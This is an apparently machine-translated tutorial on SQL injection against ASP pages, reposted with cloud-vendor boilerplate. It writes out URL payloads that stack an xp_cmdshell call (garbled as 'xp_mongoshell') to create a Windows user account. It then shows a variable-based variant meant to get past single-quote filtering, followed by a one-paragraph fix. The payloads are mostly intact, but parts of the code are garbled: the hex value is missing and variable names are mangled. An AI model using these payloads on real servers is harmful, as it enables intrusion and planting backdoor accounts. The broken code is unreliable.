In SQL injection, the injection continues without the single quotation mark.

Source: Internet
Author: User

This is also an example of the "Implementation and Application of SQL injection" I wrote. Because no filtering is encountered, it makes it quite easy for us to inject data successfully, as shown below: CopyCode The Code is as follows: http://www.jb51.net/show.asp? Id = 1; Exec master. DBO. xp_mongoshell 'net user Angel Pass/add ';--

This often leads to misunderstandings. I think that as long as the variables are filtered, SQL injection attacks can be prevented.ProgramIt is not enough to simply filter out the root cause of injection. Let's take a look at the following statement when filtering out:Copy codeThe Code is as follows: http://www.jb51.net/show.asp? Id = 1; declare % 20 @ A % 20 sysname % 20 select % 20 @ A = running % 20 exec % 20master. DBO. xp_mongoshell % 20 @ ;--

Is there a big difference with the above sentence? However, the results are exactly the same. These are all SQL statements.Copy codeThe Code is as follows:

This is the hexadecimal format of "net user Angel Pass/Add. If you know SQL, you can easily understand it. Declare a variable a first, assign the value of our command to a, and then call variable A to execute the input command. Variable A can be any command. As follows:Copy codeThe Code is as follows: declare @ A sysname
Select @ A =
Exec master. DBO. xp_mongoshell @

Solution:
Filter variables. Only specific characters are allowed. For example, for numeric variables, only numeric data can be entered. Not to mention it. This is completely the freedom of the program author.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.